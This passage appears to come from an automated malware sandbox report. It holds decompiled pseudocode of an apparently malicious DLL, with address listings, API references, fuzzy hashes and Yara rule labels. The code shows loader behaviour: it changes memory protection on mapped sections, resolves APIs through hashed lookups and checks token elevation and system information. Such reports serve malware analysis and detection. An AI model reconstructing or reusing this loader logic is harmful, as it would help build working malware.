					_v152 = _v144 + 0x18 + ( *(_v144 + 0x14) & 0x0000ffff);
					while(1) {
						_t170 = _v152;
						_v160 = _t170;
						_t247 = _v160;
						_v184 = _v72 +  *((intOrPtr*)(_t247 + 0xc));
						_v180 =  *((intOrPtr*)(_t247 + 8));
						_v176 =  *((intOrPtr*)(0x2ce4418 + (( *(_t170 + 0x24) >> 0x0000001e & 0x00000001) << 4) + ( *(_t170 + 0x24) >> 0x1f << 3) + (( *(_t170 + 0x24) >> 0x0000001d & 0x00000001) << 2)));
						_v172 =  &_v20;
						_v164 = _v148;
						_t177 = VirtualProtect(??, ??, ??, ??); // executed
						_t271 = _t271 - 0x10;
						_t234 = _v164 + 1;
						_v168 = _t177;
						_v148 = _t234;
						_v152 = _v160 + 0x28;
						if(_t234 == _v60) {
							goto L9;
						}
					}
				}
				L9:
				 *_t271 = _v72;
				_v124 = _v72 +  *((intOrPtr*)(_v48 + 0x24));
				_t155 = DisableThreadLibraryCalls(??);
				_t272 = _t271 - 4;
				_t229 =  *_v104;
				_v156 = _t155;
				_v116 = _t229;
				_v120 = _v72;
				if(_t229 != 0) {
					_v120 = _v72 + (_v116 + 0x0000ffff & 0x0000ffff) + 1;
				}
				_t240 = _v48;
				_v44 =  *((intOrPtr*)(_t240 + 0x20));
				_v40 =  *((intOrPtr*)(_t240 + 0x18));
				_v36 =  *((intOrPtr*)(_t240 + 0x34));
				_v32 =  *((intOrPtr*)(_t240 + 0x30));
				_v28 =  *_t240;
				_v24 = _v124;
				 *_t272 = _t240;
				_v184 = 0;
				_v180 = 0x74;
				_v128 =  *((intOrPtr*)(_v120 + 0x28));
				_v132 = 0;
				_v136 = 0x74;
				_v140 =  &_v44;
				E02CE2569();
				if(_v128 != 0) {
					_t272 =  *((intOrPtr*)( &_v44 + 0x10));
					goto __eax;
				}
				return 1;
			}

0x02ce221f
0x02ce222d
0x02ce2234
0x02ce2237
0x02ce2241
0x02ce2248
0x02ce2252
0x02ce2258
0x02ce2261
0x02ce226a
0x02ce226d
0x02ce2273
0x02ce2277
0x02ce227f
0x02ce2283
0x02ce2286
0x02ce2289
0x02ce228c
0x02ce228f
0x02ce22a9
0x02ce22af
0x02ce22b2
0x02ce22ba
0x02ce22be
0x02ce22c1
0x02ce22c4
0x02ce22c7
0x02ce22ca
0x02ce22e6
0x02ce2303
0x02ce2328
0x02ce232a
0x02ce2333
0x02ce2336
0x02ce2340
0x02ce2343
0x02ce2346
0x02ce2349
0x02ce234c
0x02ce23a4
0x02ce23a4
0x02ce254a
0x02ce2550
0x02ce244d
0x02ce2453
0x02ce249f
0x02ce249f
0x02ce24bc
0x02ce24e2
0x02ce24f0
0x02ce24f3
0x02ce24f7
0x02ce24fb
0x02ce2502
0x02ce2508
0x02ce250a
0x02ce251c
0x02ce2524
0x02ce252a
0x02ce2530
0x02ce2536
0x00000000
0x00000000
0x02ce253c
0x02ce249f
0x02ce245b
0x02ce2469
0x02ce2471
0x02ce2474
0x02ce2476
0x02ce247c
0x02ce2488
0x02ce248e
0x02ce2491
0x02ce2494
0x02ce238a
0x02ce238a
0x02ce23d8
0x02ce23de
0x02ce23e4
0x02ce23ea
0x02ce23f0
0x02ce23f5
0x02ce23fb
0x02ce23fe
0x02ce2401
0x02ce2409
0x02ce2411
0x02ce2414
0x02ce2417
0x02ce241d
0x02ce2423
0x02ce242e
0x02ce2362
0x02ce2368
0x02ce2368
0x02ce23c5

APIs

VirtualProtect.KERNELBASE ref: 02CE228F
VirtualProtect.KERNELBASE ref: 02CE2328

Strings

t, xrefs: 02CE2409

Memory Dump Source

Source File: 00000000.00000002.986609856.0000000002CE0000.00000040.00000001.sdmp, Offset: 02CE0000, based on PE: true

Similarity

API ID: ProtectVirtual
String ID: t
API String ID: 544645111-2238339752
Opcode ID: 16732baedd133e673cc41c4a8ec5eb8b3b23dcd87ae0b72e644d83d7a14223dc
Instruction ID: 49ae3e890372fad93011e4f54de9046af1b5f5ec52d86d2031f9092a13b48382
Opcode Fuzzy Hash: 16732baedd133e673cc41c4a8ec5eb8b3b23dcd87ae0b72e644d83d7a14223dc
Instruction Fuzzy Hash: 4B8188B4E04208CFCB04CF99C590A9DFBF1BF88310F65856AE959AB351D734A981CF92

Uniqueness

Uniqueness Score: -1.00%

Function 02CE2439, Relevance: 1.6, APIs: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 02CE2508

Memory Dump Source

Source File: 00000000.00000002.986609856.0000000002CE0000.00000040.00000001.sdmp, Offset: 02CE0000, based on PE: true

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 6f1bbabfd87736321f146b92f719c2dd5d4a9187e405bce9d1ec3f4ad948e687
Instruction ID: c5dfcf29e61e8587a81e6848677bc17008bc1bbdc527d83e5775771b798ac436
Opcode Fuzzy Hash: 6f1bbabfd87736321f146b92f719c2dd5d4a9187e405bce9d1ec3f4ad948e687
Instruction Fuzzy Hash: 6331D4B5E002288FDB24CF69C98079DB7F1BF88204F168699D94DA7306D731AE91CF81

Uniqueness

Uniqueness Score: -1.00%

Function 02CE1D89, Relevance: 1.4, APIs: 1, Instructions: 107memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 02CE1EA8

Memory Dump Source

Source File: 00000000.00000002.986609856.0000000002CE0000.00000040.00000001.sdmp, Offset: 02CE0000, based on PE: true

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 0b9b42ba2fdb08c7cefa25f605df8f332aac007ccc48bea5617a17140e49e517
Instruction ID: fdf8a95a1122649bd4c85f194cb4f12c3fd5c32136bc5691b57011678de8b161
Opcode Fuzzy Hash: 0b9b42ba2fdb08c7cefa25f605df8f332aac007ccc48bea5617a17140e49e517
Instruction Fuzzy Hash: E741F3B1E002098FDB04DFA9C4946AEBBF1FF48314F19852EE409AB340D375A840CF90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: rundll32.exe PID: 6948 Parent PID: 6916 rundll32.exeCOMMON

Executed Functions

Function 6EEC07CC, Relevance: 5.1, APIs: 3, Instructions: 628
COMMONCrypto

Download Yara Rule

C-Code - Quality: 86%

			E6EEC07CC(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				void* _t152;
				void* _t155;
				signed char* _t156;
				char _t159;
				intOrPtr* _t163;
				void* _t177;
				intOrPtr _t186;
				char _t187;
				void* _t192;
				void* _t196;
				void* _t198;
				void* _t199;
				void* _t202;
				void* _t208;
				void* _t209;
				void* _t211;
				void* _t212;
				void* _t219;
				void* _t232;
				void* _t234;
				void* _t237;
				void* _t240;
				void* _t243;
				void* _t246;
				void* _t250;
				void* _t254;
				void* _t255;
				void* _t257;
				long _t258;
				void* _t261;
				void* _t264;
				int _t267;
				void* _t268;
				void* _t272;
				void* _t273;
				void* _t274;
				void* _t278;
				int _t280;
				intOrPtr* _t284;
				signed char _t288;
				signed char _t289;
				signed int _t293;
				void* _t314;
				void* _t319;
				void* _t355;
				void* _t364;
				void* _t369;
				void* _t374;
				void* _t375;
				void* _t376;
				void* _t377;
				void* _t378;
				void* _t379;
				void* _t385;
				void* _t392;
				signed int _t397;
				intOrPtr* _t400;
				void* _t403;
				signed int _t405;
				void* _t407;
				void* _t408;
				void* _t413;
				intOrPtr* _t417;
				void* _t419;
				void** _t421;
				void* _t422;
				void* _t423;
				void* _t424;

				_push(__esi);
				_push(__edi);
				_push(__ebx);
				_t423 = _t422 - 0x1e0;
				_t407 = __ecx;
				_t152 =  *0x6eecd1f8;
				if(_t152 == 0x16a9e13a) {
					_t152 = E6EEC3558(0x30);
					 *0x6eecd1f8 = _t152;
				}
				if( *((char*)(_t152 + 0xb)) == 0 || _t407 != 0) {
					_t408 = _t423 + 0x48;
					E6EEC35D4(_t408, 0, 0x11c);
					_t424 = _t423 + 0xc;
					 *((intOrPtr*)(_t424 + 0x48)) = 0x11c;
					_t155 = E6EEC2F94(0x4bcc7cba, 0xa7920a3, 0x4bcc7cba, 0x4bcc7cba);
					if(_t155 == 0) {
						_t395 =  *0x6eecd1f8;
						_t156 = _t424 + 0x4c;
						_t288 =  *_t156;
						 *(_t395 + 8) = _t288;
						_t289 = _t156[4];
						 *(_t395 + 9) = _t289;
						__eflags = _t156[0x116] - 1;
						_t389 =  *(_t424 + 0x54);
						 *((char*)(_t395 + 0xa)) = _t156[0x110];
						 *(_t395 + 4) =  *(_t424 + 0x54);
						 *((char*)(_t395 + 0xc)) = 0 | _t156[0x116] != 0x00000001;
						 *_t395 = (_t289 & 0x000000ff) + ((_t288 & 0x000000ff) << 4) - 0x50;
						_t159 = E6EEC1094(_t395);
						 *(_t424 + 0x198) = 0;
						 *((char*)( *0x6eecd1f8 + 0xb)) = _t159;
						_t355 = E6EEC2F94(0xd0443458, 0xd8ece5ad, _t159, _t159);
						__eflags = _t355;
						if(_t355 == 0) {
							L12:
							__eflags = 0;
							 *((char*)( *0x6eecd1f8 + 0x28)) = 0;
							_t163 = E6EEC07CC(0x6eecd1f8, 0, _t389, _t395);
							__eflags =  *_t163 - 0x10;
							if( *_t163 >= 0x10) {
								_t293 = 6;
								memcpy(_t424 + 0x164, 0x6eecbc80, _t293 << 2);
								_t424 = _t424 + 0xc;
								_t392 = 0x6eecbc80 + _t293 + _t293;
								 *((intOrPtr*)(_t424 + 0x1c)) = 0;
								E6EEBF620(_t424 + 0x24, 0);
								_t397 = 0;
								__eflags = 0;
								do {
									E6EEBF8C4(_t424 + 0x24, E6EEBF568(_t424 + 0x20) + 4);
									 *((intOrPtr*)(E6EEBF558(_t424 + 0x24, E6EEBF568(_t424 + 0x20) + 0xfffffffc))) =  *((intOrPtr*)(_t424 + 0x164 + _t397 * 4));
									_t397 = _t397 + 1;
									 *((intOrPtr*)(_t424 + 0x1c)) =  *((intOrPtr*)(_t424 + 0x1c)) + 1;
									__eflags = _t397 - 6;
								} while (_t397 < 6);
								_push(0);
								E6EEC54EC(_t424 + 0xc, _t424 + 0x1c, 0x80000002);
								E6EEBF6F0(_t424 + 0x20);
								E6EEC551C(_t424 + 8, _t424 + 0x1c0, 0x5411b30);
								_t177 = E6EEC57D0(_t424 + 4, __eflags,  *((intOrPtr*)(_t424 + 0x1c0)));
								_t398 = _t177;
								E6EEBE054(_t424 + 0x1c0);
								__eflags = _t177;
								if(_t177 != 0) {
									E6EEC551C(_t424 + 8, _t424 + 0x1c8, 0xdb1d9b48);
									_t413 = E6EEC57D0(_t424 + 4, __eflags,  *((intOrPtr*)(_t424 + 0x1c8)));
									E6EEBE054(_t424 + 0x1c8);
									_t398 = _t424 + 0x1d0;
									E6EEC551C(_t424 + 8, _t424 + 0x1d0, 0xf3453dd0);
									_t392 = E6EEC57D0(_t424 + 4, __eflags,  *(_t424 + 0x1d0));
									E6EEBE054(_t424 + 0x1d0);
									__eflags = _t413;
									if(_t413 != 0) {
										__eflags = _t413 - 5;
										if(_t413 != 5) {
											__eflags = _t413 - 2;
											if(_t413 != 2) {
												goto L58;
											} else {
												__eflags = _t392 - 1;
												if(_t392 != 1) {
													goto L58;
												} else {
													E6EEBD098(_t424 + 0xc);
													__eflags =  *((char*)(_t424 + 8));
													if( *((char*)(_t424 + 8)) != 0) {
														_t375 =  *(_t424 + 4);
														__eflags = _t375;
														if(_t375 == 0) {
															L53:
															_t237 = 1;
														} else {
															__eflags = _t375 - 0xffffffff;
															if(_t375 != 0xffffffff) {
																_t237 = 0;
																__eflags = 0;
															} else {
																goto L53;
															}
														}
														__eflags = _t237;
														if(_t237 == 0) {
															E6EEC54C4(_t375);
														}
													}
													 *(_t424 + 4) = 0;
													_t186 = 5;
												}
											}
										} else {
											__eflags = _t392;
											if(_t392 != 0) {
												__eflags = _t392 - 1;
												if(_t392 == 1) {
													E6EEBD098(_t424 + 0xc);
													__eflags =  *((char*)(_t424 + 8));
													if( *((char*)(_t424 + 8)) != 0) {
														_t376 =  *(_t424 + 4);
														__eflags = _t376;
														if(_t376 == 0) {
															L108:
															_t240 = 1;
														} else {
															__eflags = _t376 - 0xffffffff;
															if(_t376 != 0xffffffff) {
																_t240 = 0;
																__eflags = 0;
															} else {
																goto L108;
															}
														}
														__eflags = _t240;
														if(_t240 == 0) {
															E6EEC54C4(_t376);
														}
													}
													 *(_t424 + 4) = 0;
													_t186 = 4;
												} else {
													goto L58;
												}
											} else {
												E6EEBD098(_t424 + 0xc);
												__eflags =  *((char*)(_t424 + 8));
												if( *((char*)(_t424 + 8)) != 0) {
													_t377 =  *(_t424 + 4);
													__eflags = _t377;
													if(_t377 == 0) {
														L41:
														_t243 = 1;
													} else {
														__eflags = _t377 - 0xffffffff;
														if(_t377 != 0xffffffff) {
															_t243 = 0;
															__eflags = 0;
														} else {
															goto L41;
														}
													}
													__eflags = _t243;
													if(_t243 == 0) {
														E6EEC54C4(_t377);
													}
												}
												 *(_t424 + 4) = 0;
												_t186 = 3;
											}
										}
									} else {
										__eflags = _t392;
										if(_t392 != 0) {
											L58:
											E6EEBD098(_t424 + 0xc);
											__eflags =  *((char*)(_t424 + 8));
											if( *((char*)(_t424 + 8)) != 0) {
												_t374 =  *(_t424 + 4);
												__eflags = _t374;
												if(_t374 == 0) {
													L61:
													_t234 = 1;
												} else {
													__eflags = _t374 - 0xffffffff;
													if(_t374 != 0xffffffff) {
														_t234 = 0;
														__eflags = 0;
													} else {
														goto L61;
													}
												}
												__eflags = _t234;
												if(_t234 == 0) {
													E6EEC54C4(_t374);
												}
											}
											_t186 = 0;
											__eflags = 0;
											 *(_t424 + 4) = 0;
										} else {
											E6EEBD098(_t424 + 0xc);
											__eflags =  *((char*)(_t424 + 8));
											if( *((char*)(_t424 + 8)) != 0) {
												_t378 =  *(_t424 + 4);
												__eflags = _t378;
												if(_t378 == 0) {
													L31:
													_t246 = 1;
												} else {
													__eflags = _t378 - 0xffffffff;
													if(_t378 != 0xffffffff) {
														_t246 = 0;
														__eflags = 0;
													} else {
														goto L31;
													}
												}
												__eflags = _t246;
												if(_t246 == 0) {
													E6EEC54C4(_t378);
												}
											}
											 *(_t424 + 4) = 0;
											_t186 = 2;
										}
									}
								} else {
									E6EEBD098(_t424 + 0xc);
									__eflags =  *((char*)(_t424 + 8));
									if( *((char*)(_t424 + 8)) != 0) {
										_t379 =  *(_t424 + 4);
										__eflags = _t379;
										if(_t379 == 0) {
											L21:
											_t250 = 1;
										} else {
											__eflags = _t379 - 0xffffffff;
											if(_t379 != 0xffffffff) {
												_t250 = 0;
												__eflags = 0;
											} else {
												goto L21;
											}
										}
										__eflags = _t250;
										if(_t250 == 0) {
											E6EEC54C4(_t379);
										}
									}
									 *(_t424 + 4) = 0;
									_t186 = 1;
								}
							} else {
								_t186 = 1;
							}
							 *((intOrPtr*)( *0x6eecd1f8 + 0x24)) = _t186;
							_t187 = E6EEC10CC(0xffffffffffffffff);
							_t314 =  *0x6eecd1f8;
							 *((char*)(_t314 + 0x29)) = _t187;
							__eflags =  *_t314 - 0x10;
							 *((intOrPtr*)(_t314 + 0x20)) =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x1d4));
							if( *_t314 >= 0x10) {
								__eflags = 0xffffffffffffffff;
								 *((intOrPtr*)( *0x6eecd1f8 + 0x2c)) = E6EEC1140(0xffffffffffffffff, _t392, _t398);
								goto L78;
							} else {
								 *(_t424 + 0x19c) = 0;
								_t364 = E6EEC2F94(0xd0443458, 0xd8ece5ad, 0xd0443458, 0xd0443458);
								__eflags = _t364;
								if(_t364 == 0) {
									L74:
									_t196 =  *0x6eecd1f8;
									__eflags =  *((char*)(_t196 + 0x28));
									if( *((char*)(_t196 + 0x28)) == 0) {
										 *((intOrPtr*)(_t196 + 0x2c)) = 3;
									} else {
										 *((intOrPtr*)(_t196 + 0x2c)) = 5;
									}
									goto L78;
								} else {
									_t198 =  *_t364(0xffffffff, 8, _t424 + 0x19c);
									__eflags = _t198;
									if(_t198 == 0) {
										_t199 = E6EEC352C(_t398);
										__eflags = _t199;
										if(_t199 != 0) {
											goto L74;
										} else {
											goto L69;
										}
									} else {
										L69:
										 *(_t424 + 0x30) =  *(_t424 + 0x19c);
										 *((char*)(_t424 + 0x34)) = 1;
										 *(_t424 + 0x1a4) = 0;
										_t319 = E6EEC2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458);
										__eflags = _t319;
										if(_t319 != 0) {
											_t232 =  *_t319( *(_t424 + 0x1ac), 1, 0, 0, _t424 + 0x1a4);
											__eflags = _t232;
											if(_t232 == 0) {
												E6EEC352C(_t398);
											}
										}
										_t202 =  *(_t424 + 0x1a4);
										__eflags = _t202;
										if(_t202 != 0) {
											E6EEBF620(_t424 + 0x18c, _t202);
											_t403 = E6EEC2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458);
											__eflags = _t403;
											if(_t403 == 0) {
												L124:
												E6EEBF6F0(_t424 + 0x188);
												goto L72;
											} else {
												_t208 = E6EEBF558(_t424 + 0x18c, 0);
												_t209 = E6EEBF568(_t424 + 0x188);
												_t211 =  *_t403( *(_t424 + 0x1ac), 1, _t208, _t209, _t424 + 0x1a4);
												__eflags = _t211;
												if(_t211 == 0) {
													_t212 = E6EEC352C(_t403);
													__eflags = _t212;
													if(_t212 != 0) {
														goto L124;
													} else {
														goto L116;
													}
												} else {
													L116:
													_t417 = E6EEBF558(_t424 + 0x18c, 0);
													E6EEBDFFC(_t424 + 0x1b4, 0);
													 *(_t424 + 0x1ac) = 0;
													_t369 = E6EEC2F94(0xd0443458, 0x39521505, 0xd0443458, 0xd0443458);
													__eflags = _t369;
													if(_t369 != 0) {
														 *_t369( *_t417, _t424 + 0x1ac);
													}
													E6EEBE070(_t424 + 0x1b4,  *(_t424 + 0x1ac));
													_t219 = E6EEC2F94(0x4bcc7cba, 0x1f221433, 0x4bcc7cba, 0x4bcc7cba);
													__eflags = _t219;
													if(_t219 == 0) {
														E6EEBE11C(_t424 + 0x1b8 - 8, _t424 + 0x1b8);
														_t419 = E6EEC4BE0( *((intOrPtr*)(_t424 + 0x1b8)), E6EEBE94C( *((intOrPtr*)(_t424 + 0x1b8)), 0x7fffffff));
														E6EEBE054(_t424 + 0x1b8);
														E6EEBE054(_t424 + 0x1b0);
														E6EEBF6F0(_t424 + 0x188);
														__eflags =  *((char*)(_t424 + 0x34));
														if( *((char*)(_t424 + 0x34)) != 0) {
															E6EEBBC00(_t424 + 0x30);
														}
														__eflags = _t419 - 0x6df4cf7;
														if(_t419 != 0x6df4cf7) {
															goto L74;
														} else {
															 *((intOrPtr*)( *0x6eecd1f8 + 0x2c)) = 6;
															L78:
															_t192 = E6EEC2F94(0x4bcc7cba, 0x57154e4e, 0x4bcc7cba, 0x4bcc7cba);
															__eflags = _t192;
															if(_t192 != 0) {
																GetSystemInfo(_t424 + 0x164); // executed
															}
															_t152 =  *0x6eecd1f8;
															_t284 = _t424 + 0x178;
															_t400 = _t424 + 0x170;
															 *((short*)(_t152 + 0xe)) =  *_t284;
															 *((intOrPtr*)(_t152 + 0x10)) =  *((intOrPtr*)(_t284 - 0x10));
															 *((intOrPtr*)(_t152 + 0x14)) =  *((intOrPtr*)(_t284 - 0xc));
															 *((intOrPtr*)(_t152 + 0x18)) =  *_t400;
															 *((intOrPtr*)(_t152 + 0x1c)) =  *((intOrPtr*)(_t400 + 0x10));
															goto L81;
														}
													} else {
														_push( *(_t424 + 0x1ac));
														asm("int3");
														return _t219;
													}
												}
											}
										} else {
											L72:
											__eflags =  *((char*)(_t424 + 0x34));
											if( *((char*)(_t424 + 0x34)) != 0) {
												E6EEBBC00(_t424 + 0x30);
											}
											goto L74;
										}
									}
								}
							}
						} else {
							_t254 =  *_t355(0xffffffff, 8, _t424 + 0x198);
							__eflags = _t254;
							if(_t254 == 0) {
								_t255 = E6EEC352C(_t395);
								__eflags = _t255;
								if(_t255 != 0) {
									goto L12;
								} else {
									goto L7;
								}
							} else {
								L7:
								 *(_t424 + 0x14) =  *(_t424 + 0x198);
								 *((char*)(_t424 + 0x18)) = 1;
								 *(_t424 + 0x1a0) = 0;
								_t257 = E6EEC2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458);
								__eflags = _t257;
								if(_t257 != 0) {
									_t280 = GetTokenInformation( *(_t424 + 0x1a8), 2, 0, 0, _t424 + 0x1a0); // executed
									__eflags = _t280;
									if(_t280 == 0) {
										E6EEC352C(_t395);
									}
								}
								_t258 =  *(_t424 + 0x1a0);
								__eflags = _t258;
								if(_t258 != 0) {
									E6EEBF620(_t424 + 0x3c, _t258);
									_t261 = E6EEC2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458);
									_t395 = _t261;
									__eflags = _t261;
									if(_t261 == 0) {
										L98:
										E6EEBF6F0(_t424 + 0x38);
										goto L10;
									} else {
										_t264 = E6EEBF558(_t424 + 0x3c, 0);
										_t267 = GetTokenInformation( *(_t424 + 0x1a8), 2, _t264, E6EEBF568(_t424 + 0x38), _t424 + 0x1a0); // executed
										__eflags = _t267;
										if(_t267 == 0) {
											_t268 = E6EEC352C(_t395);
											__eflags = _t268;
											if(_t268 != 0) {
												goto L98;
											} else {
												goto L85;
											}
										} else {
											L85:
											_t421 = E6EEBF558(_t424 + 0x3c, 0);
											_t389 = _t424 + 0x1d8;
											 *(_t424 + 0x1d8 - 0x30) = 0;
											asm("movsd");
											asm("movsb");
											asm("movsb");
											_t395 = E6EEC2F94(0xd0443458, 0xe6199b6e, 0xd0443458, 0xd0443458);
											__eflags = _t395;
											if(_t395 == 0) {
												goto L98;
											} else {
												_t272 = _t424 + 0x1a8;
												_t273 =  *_t395(_t272 + 0x30, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0, _t272);
												__eflags = _t273;
												if(_t273 == 0) {
													_t274 = E6EEC352C(_t395);
													__eflags = _t274;
													if(_t274 != 0) {
														goto L98;
													} else {
														goto L87;
													}
												} else {
													L87:
													_t389 =  *(_t424 + 0x1a8);
													__eflags =  *_t421;
													if( *_t421 <= 0) {
														L92:
														__eflags = _t389;
														if(_t389 == 0) {
															L94:
															_t385 = 1;
														} else {
															__eflags = _t389 - 0xffffffff;
															if(_t389 != 0xffffffff) {
																_t385 = 0;
																__eflags = 0;
															} else {
																goto L94;
															}
														}
														__eflags = _t385;
														if(_t385 == 0) {
															E6EEC1070(_t389, _t395, _t389);
														}
														goto L98;
													} else {
														_t405 = 0;
														__eflags = 0;
														while(1) {
															_t278 = E6EEC2F94(0xd0443458, 0x713d44b5, 0xd0443458, 0xd0443458);
															__eflags = _t278;
															if(_t278 != 0) {
																break;
															}
															_t405 = _t405 + 1;
															__eflags = _t405 -  *_t421;
															if(_t405 <  *_t421) {
																continue;
															} else {
																goto L92;
															}
															goto L130;
														}
														_push( *((intOrPtr*)(_t421 + 4 + _t405 * 8)));
														_push( *(_t424 + 0x1ac));
														asm("int3");
														return _t278;
													}
												}
											}
										}
									}
								} else {
									L10:
									__eflags =  *((char*)(_t424 + 0x18));
									if( *((char*)(_t424 + 0x18)) != 0) {
										E6EEBBC00(_t424 + 0x14);
									}
									goto L12;
								}
							}
						}
					} else {
						_push(_t408);
						asm("int3");
						return _t155;
					}
				} else {
					L81:
					return _t152;
				}
				L130:
			}

0x6eec07cc
0x6eec07cd
0x6eec07ce
0x6eec07d0
0x6eec07db
0x6eec07dd
0x6eec07e4
0x6eec1063
0x6eec1069
0x6eec1069
0x6eec07ee
0x6eec07fa
0x6eec0806
0x6eec080b
0x6eec0818
0x6eec0822
0x6eec0829
0x6eec082e
0x6eec0832
0x6eec0836
0x6eec083b
0x6eec083e
0x6eec0844
0x6eec084a
0x6eec0857
0x6eec085e
0x6eec0865
0x6eec0868
0x6eec086b
0x6eec086d
0x6eec0879
0x6eec0886
0x6eec0893
0x6eec0895
0x6eec0897
0x6eec0923
0x6eec0923
0x6eec0929
0x6eec092c
0x6eec0931
0x6eec0934
0x6eec094c
0x6eec094d
0x6eec094d
0x6eec094d
0x6eec0951
0x6eec095a
0x6eec095f
0x6eec095f
0x6eec0961
0x6eec0972
0x6eec0994
0x6eec0996
0x6eec0997
0x6eec099b
0x6eec099b
0x6eec09a4
0x6eec09b0
0x6eec09b9
0x6eec09cf
0x6eec09df
0x6eec09e4
0x6eec09e8
0x6eec09ed
0x6eec09ef
0x6eec0a3f
0x6eec0a54
0x6eec0a58
0x6eec0a5d
0x6eec0a6e
0x6eec0a83
0x6eec0a87
0x6eec0a8c
0x6eec0a8e
0x6eec0ad5
0x6eec0ad8
0x6eec0b26
0x6eec0b29
0x00000000
0x6eec0b2b
0x6eec0b2b
0x6eec0b2e
0x00000000
0x6eec0b30
0x6eec0b34
0x6eec0b39
0x6eec0b3e
0x6eec0b40
0x6eec0b44
0x6eec0b46
0x6eec0b4d
0x6eec0b4d
0x6eec0b48
0x6eec0b48
0x6eec0b4b
0x6eec0b51
0x6eec0b51
0x00000000
0x00000000
0x00000000
0x6eec0b4b
0x6eec0b53
0x6eec0b55
0x6eec0b58
0x6eec0b58
0x6eec0b55
0x6eec0b5d
0x6eec0b67
0x6eec0b67
0x6eec0b2e
0x6eec0ada
0x6eec0ada
0x6eec0adc
0x6eec0b1b
0x6eec0b1e
0x6eec0e90
0x6eec0e95
0x6eec0e9a
0x6eec0e9c
0x6eec0ea0
0x6eec0ea2
0x6eec0ea9
0x6eec0ea9
0x6eec0ea4
0x6eec0ea4
0x6eec0ea7
0x6eec0ead
0x6eec0ead
0x00000000
0x00000000
0x00000000
0x6eec0ea7
0x6eec0eaf
0x6eec0eb1
0x6eec0eb4
0x6eec0eb4
0x6eec0eb1
0x6eec0eb9
0x6eec0ec3
0x6eec0b24
0x00000000
0x6eec0b24
0x6eec0ade
0x6eec0ae2
0x6eec0ae7
0x6eec0aec
0x6eec0aee
0x6eec0af2
0x6eec0af4
0x6eec0afb
0x6eec0afb
0x6eec0af6
0x6eec0af6
0x6eec0af9
0x6eec0aff
0x6eec0aff
0x00000000
0x00000000
0x00000000
0x6eec0af9
0x6eec0b01
0x6eec0b03
0x6eec0b06
0x6eec0b06
0x6eec0b03
0x6eec0b0b
0x6eec0b15
0x6eec0b15
0x6eec0adc
0x6eec0a90
0x6eec0a90
0x6eec0a92
0x6eec0b6a
0x6eec0b6e
0x6eec0b73
0x6eec0b78
0x6eec0b7a
0x6eec0b7e
0x6eec0b80
0x6eec0b87
0x6eec0b87
0x6eec0b82
0x6eec0b82
0x6eec0b85
0x6eec0b8b
0x6eec0b8b
0x00000000
0x00000000
0x00000000
0x6eec0b85
0x6eec0b8d
0x6eec0b8f
0x6eec0b92
0x6eec0b92
0x6eec0b8f
0x6eec0b97
0x6eec0b97
0x6eec0b99
0x6eec0a98
0x6eec0a9c
0x6eec0aa1
0x6eec0aa6
0x6eec0aa8
0x6eec0aac
0x6eec0aae
0x6eec0ab5
0x6eec0ab5
0x6eec0ab0
0x6eec0ab0
0x6eec0ab3
0x6eec0ab9
0x6eec0ab9
0x00000000
0x00000000
0x00000000
0x6eec0ab3
0x6eec0abb
0x6eec0abd
0x6eec0ac0
0x6eec0ac0
0x6eec0abd
0x6eec0ac5
0x6eec0acf
0x6eec0acf
0x6eec0a92
0x6eec09f1
0x6eec09f5
0x6eec09fa
0x6eec09ff
0x6eec0a01
0x6eec0a05
0x6eec0a07
0x6eec0a0e
0x6eec0a0e
0x6eec0a09
0x6eec0a09
0x6eec0a0c
0x6eec0a12
0x6eec0a12
0x00000000
0x00000000
0x00000000
0x6eec0a0c
0x6eec0a14
0x6eec0a16
0x6eec0a19
0x6eec0a19
0x6eec0a16
0x6eec0a1e
0x6eec0a28
0x6eec0a28
0x6eec0936
0x6eec0938
0x6eec0938
0x6eec0ba2
0x6eec0ba5
0x6eec0baa
0x6eec0bac
0x6eec0bb5
0x6eec0bc1
0x6eec0bc4
0x6eec0c92
0x6eec0c9a
0x00000000
0x6eec0bca
0x6eec0bd4
0x6eec0be6
0x6eec0be8
0x6eec0bea
0x6eec0c76
0x6eec0c76
0x6eec0c78
0x6eec0c7c
0x6eec0c87
0x6eec0c7e
0x6eec0c7e
0x6eec0c7e
0x00000000
0x6eec0bf0
0x6eec0bfc
0x6eec0bfe
0x6eec0c00
0x6eec104f
0x6eec1054
0x6eec1056
0x00000000
0x6eec105c
0x00000000
0x6eec105c
0x6eec0c06
0x6eec0c06
0x6eec0c17
0x6eec0c1b
0x6eec0c20
0x6eec0c32
0x6eec0c34
0x6eec0c36
0x6eec0c4d
0x6eec0c4f
0x6eec0c51
0x6eec0ec9
0x6eec0ec9
0x6eec0c51
0x6eec0c57
0x6eec0c5e
0x6eec0c60
0x6eec0edb
0x6eec0ef1
0x6eec0ef3
0x6eec0ef5
0x6eec1030
0x6eec1037
0x00000000
0x6eec0efb
0x6eec0f04
0x6eec0f12
0x6eec0f2c
0x6eec0f2e
0x6eec0f30
0x6eec1041
0x6eec1046
0x6eec1048
0x00000000
0x6eec104a
0x00000000
0x6eec104a
0x6eec0f36
0x6eec0f36
0x6eec0f44
0x6eec0f4f
0x6eec0f5e
0x6eec0f70
0x6eec0f72
0x6eec0f74
0x6eec0f81
0x6eec0f81
0x6eec0f91
0x6eec0fa2
0x6eec0fa7
0x6eec0fa9
0x6eec0fbf
0x6eec0fe0
0x6eec0fe9
0x6eec0ff5
0x6eec1001
0x6eec1006
0x6eec100b
0x6eec1011
0x6eec1011
0x6eec1016
0x6eec101c
0x00000000
0x6eec1022
0x6eec1024
0x6eec0c9d
0x6eec0ca9
0x6eec0cb0
0x6eec0cb2
0x6eec0cbc
0x6eec0cbc
0x6eec0cbe
0x6eec0cc0
0x6eec0ccf
0x6eec0cdb
0x6eec0cdf
0x6eec0ce2
0x6eec0ce5
0x6eec0ce8
0x00000000
